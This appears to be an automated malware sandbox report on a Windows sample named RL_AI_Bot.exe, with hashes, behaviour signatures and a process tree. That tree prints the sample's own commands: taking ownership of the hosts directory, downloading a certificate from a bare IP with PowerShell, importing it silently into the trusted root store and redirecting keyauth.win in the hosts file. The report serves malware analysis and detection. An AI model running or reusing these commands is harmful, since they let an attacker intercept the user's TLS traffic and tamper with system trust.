73fe73a408623f135099e52acde31931a25c4784f6455494a5fd5f4bc438e09e

Analysis

max time kernel
741s
max time network
746s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
25/09/2024, 00:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
RL AI BOT/RL_AI_Bot.exe
Size 4.6MB
Sample240925-anxmqstdqn
SHA256 c388a38e46a212f9413d41a9f28265a2fe1c7c77b3620bfcdcc6c7b4b3b9dee0
MD5 430c4b93e35ef63fbb153c1a12d1621a
SHA1 79bf0b686f7b112e400fe349cfd4b5c62a7389b2
SHA512 96b334d0c4f0b5167e4aed2bccf397e30b850db1616d898ad3461e37874aa153b984ea3e2690d24c0045172a89e643aac2d7509f746e8a2dde161c45fe970ec2
SSDEEP 98304:DXbIrqRVeeHnQC8TVAHaedIs6E7vliojARot:vIAVlHQLA0vC
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

defense_evasion discovery evasion execution exploit themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	RL_AI.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	3932	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3932	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cmd.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
3808	takeown.exe
3372	icacls.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	RL_AI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	RL_AI.exe

Executes dropped EXE 1 IoCs

pid	Process
4448	RL_AI.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3808	takeown.exe
3372	icacls.exe

Themida packer 8 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral3/files/0x000800000002349e-4.dat	themida
behavioral3/memory/4448-45-0x00007FF721F30000-0x00007FF7227E2000-memory.dmp	themida
behavioral3/memory/4448-47-0x00007FF721F30000-0x00007FF7227E2000-memory.dmp	themida
behavioral3/memory/4448-48-0x00007FF721F30000-0x00007FF7227E2000-memory.dmp	themida
behavioral3/memory/4448-49-0x00007FF721F30000-0x00007FF7227E2000-memory.dmp	themida
behavioral3/memory/4448-50-0x00007FF721F30000-0x00007FF7227E2000-memory.dmp	themida
behavioral3/memory/4448-52-0x00007FF721F30000-0x00007FF7227E2000-memory.dmp	themida
behavioral3/memory/4448-409-0x00007FF721F30000-0x00007FF7227E2000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	RL_AI.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4448	RL_AI.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2368	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3192	ipconfig.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1194130065-3471212556-1656947724-1000\{64191102-146B-44E6-B851-036DCD1B1AC8}	msedge.exe

Suspicious behavior: EnumeratesProcesses 50 IoCs

pid	Process
3932	powershell.exe
3932	powershell.exe
2368	powershell.exe
2368	powershell.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
1440	msedge.exe
1440	msedge.exe
1016	msedge.exe
1016	msedge.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
4528	msedge.exe
4528	msedge.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
5012	identity_helper.exe
5012	identity_helper.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
4448	RL_AI.exe
4448	RL_AI.exe
5352	msedge.exe
5352	msedge.exe
5352	msedge.exe
5352	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 21 IoCs

pid	Process
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	3932	powershell.exe
Token: SeDebugPrivilege	2368	powershell.exe
Token: SeDebugPrivilege	3028	taskmgr.exe
Token: SeSystemProfilePrivilege	3028	taskmgr.exe
Token: SeCreateGlobalPrivilege	3028	taskmgr.exe
Token: 33	3028	taskmgr.exe
Token: SeIncBasePriorityPrivilege	3028	taskmgr.exe
Token: 33	6100	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	6100	AUDIODG.EXE

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
2464	RL_AI_Bot.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
1016	msedge.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe
3028	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2464 wrote to memory of 4428	2464	RL_AI_Bot.exe	82
PID 2464 wrote to memory of 4428	2464	RL_AI_Bot.exe	82
PID 4428 wrote to memory of 1040	4428	cmd.exe	84
PID 4428 wrote to memory of 1040	4428	cmd.exe	84
PID 1040 wrote to memory of 3808	1040	cmd.exe	85
PID 1040 wrote to memory of 3808	1040	cmd.exe	85
PID 1040 wrote to memory of 3372	1040	cmd.exe	86
PID 1040 wrote to memory of 3372	1040	cmd.exe	86
PID 1040 wrote to memory of 3540	1040	cmd.exe	87
PID 1040 wrote to memory of 3540	1040	cmd.exe	87
PID 1040 wrote to memory of 3828	1040	cmd.exe	88
PID 1040 wrote to memory of 3828	1040	cmd.exe	88
PID 1040 wrote to memory of 3932	1040	cmd.exe	89
PID 1040 wrote to memory of 3932	1040	cmd.exe	89
PID 1040 wrote to memory of 4520	1040	cmd.exe	90
PID 1040 wrote to memory of 4520	1040	cmd.exe	90
PID 4520 wrote to memory of 2132	4520	cmd.exe	91
PID 4520 wrote to memory of 2132	4520	cmd.exe	91
PID 1040 wrote to memory of 2368	1040	cmd.exe	92
PID 1040 wrote to memory of 2368	1040	cmd.exe	92
PID 1040 wrote to memory of 4120	1040	cmd.exe	93
PID 1040 wrote to memory of 4120	1040	cmd.exe	93
PID 4120 wrote to memory of 3248	4120	cmd.exe	94
PID 4120 wrote to memory of 3248	4120	cmd.exe	94
PID 4120 wrote to memory of 1812	4120	cmd.exe	95
PID 4120 wrote to memory of 1812	4120	cmd.exe	95
PID 1040 wrote to memory of 720	1040	cmd.exe	96
PID 1040 wrote to memory of 720	1040	cmd.exe	96
PID 1040 wrote to memory of 3192	1040	cmd.exe	97
PID 1040 wrote to memory of 3192	1040	cmd.exe	97
PID 2464 wrote to memory of 4448	2464	RL_AI_Bot.exe	98
PID 2464 wrote to memory of 4448	2464	RL_AI_Bot.exe	98
PID 4448 wrote to memory of 3676	4448	RL_AI.exe	104
PID 4448 wrote to memory of 3676	4448	RL_AI.exe	104
PID 4448 wrote to memory of 2004	4448	RL_AI.exe	105
PID 4448 wrote to memory of 2004	4448	RL_AI.exe	105
PID 2004 wrote to memory of 3804	2004	cmd.exe	106
PID 2004 wrote to memory of 3804	2004	cmd.exe	106
PID 2004 wrote to memory of 3116	2004	cmd.exe	107
PID 2004 wrote to memory of 3116	2004	cmd.exe	107
PID 2004 wrote to memory of 3548	2004	cmd.exe	108
PID 2004 wrote to memory of 3548	2004	cmd.exe	108
PID 4448 wrote to memory of 4884	4448	RL_AI.exe	110
PID 4448 wrote to memory of 4884	4448	RL_AI.exe	110
PID 1016 wrote to memory of 1328	1016	msedge.exe	116
PID 1016 wrote to memory of 1328	1016	msedge.exe	116
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117
PID 1016 wrote to memory of 1376	1016	msedge.exe	117

C:\Users\Admin\AppData\Local\Temp\RL AI BOT\RL_AI_Bot.exe
"C:\Users\Admin\AppData\Local\Temp\RL AI BOT\RL_AI_Bot.exe"
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c @echo off & echo Running fix.bat silently... & start "" /min /b cmd /c "C:\Users\Admin\AppData\Local\Temp\fix.bat & exit"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4428
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\fix.bat & exit"
    3⤵
    - Drops file in Drivers directory
    - Suspicious use of WriteProcessMemory
    PID:1040
  - - C:\Windows\system32\takeown.exe
      takeown /F C:\Windows\System32\drivers\etc /R /A
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3808
  - - C:\Windows\system32\icacls.exe
      icacls C:\Windows\System32\drivers\etc /grant administrators:F /T
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3372
  - - C:\Windows\system32\certutil.exe
      certutil -store TrustedRoot
      4⤵
      PID:3540
  - - C:\Windows\system32\findstr.exe
      findstr /i /c:"C:\Users\Admin\AppData\Local\Temp\server.crt"
      4⤵
      PID:3828
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Invoke-WebRequest -Uri http://188.227.107.14/server.crt -OutFile 'C:\Users\Admin\AppData\Local\Temp\server.crt'"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3932
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\server.crt" SHA256
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4520
    - - C:\Windows\system32\certutil.exe
        
        certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\server.crt" SHA256
        5⤵
        
        PID:2132
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Import-Certificate -FilePath 'C:\Users\Admin\AppData\Local\Temp\server.crt' -CertStoreLocation 'Cert:\LocalMachine\Root' -ErrorAction SilentlyContinue"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2368
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c certutil -store TrustedRoot | findstr /i /c:"C:\Users\Admin\AppData\Local\Temp\server.crt"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4120
    - - C:\Windows\system32\certutil.exe
        
        certutil -store TrustedRoot
        5⤵
        
        PID:3248
    - - C:\Windows\system32\findstr.exe
        
        findstr /i /c:"C:\Users\Admin\AppData\Local\Temp\server.crt"
        5⤵
        
        PID:1812
  - - C:\Windows\system32\findstr.exe
      findstr /C:"188.227.107.14 keyauth.win" "C:\Windows\System32\drivers\etc\hosts"
      4⤵
      PID:720
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /flushdns
      4⤵
      Gathers network information
      PID:3192
- C:\Users\Admin\AppData\Local\Temp\RL_AI.exe
  C:\Users\Admin\AppData\Local\Temp\RL_AI.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:3676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\RL_AI.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - C:\Windows\system32\certutil.exe
      certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\RL_AI.exe" MD5
      4⤵
      PID:3804
  - - C:\Windows\system32\find.exe
      find /i /v "md5"
      4⤵
      PID:3116
  - - C:\Windows\system32\find.exe
      find /i /v "certutil"
      4⤵
      PID:3548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4884

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3028

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.bing.com/search?q=RL_AI.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xfc,0x128,0x7ffe64dc46f8,0x7ffe64dc4708,0x7ffe64dc4718
  2⤵
  PID:1328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2
  2⤵
  PID:1376
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2700 /prefetch:8
  2⤵
  PID:1656
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
  2⤵
  PID:1304
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
  2⤵
  PID:4800
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4720 /prefetch:1
  2⤵
  PID:4724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4780 /prefetch:1
  2⤵
  PID:5116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5048 /prefetch:1
  2⤵
  PID:3020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5080 /prefetch:1
  2⤵
  PID:3532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4856 /prefetch:1
  2⤵
  PID:1948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5032 /prefetch:8
  2⤵
  PID:1592
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5292 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:4528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5708 /prefetch:1
  2⤵
  PID:3092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3544 /prefetch:1
  2⤵
  PID:3468
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4672 /prefetch:8
  2⤵
  PID:3520
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4672 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1776 /prefetch:1
  2⤵
  PID:5352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5696 /prefetch:1
  2⤵
  PID:5368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3548 /prefetch:1
  2⤵
  PID:6068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
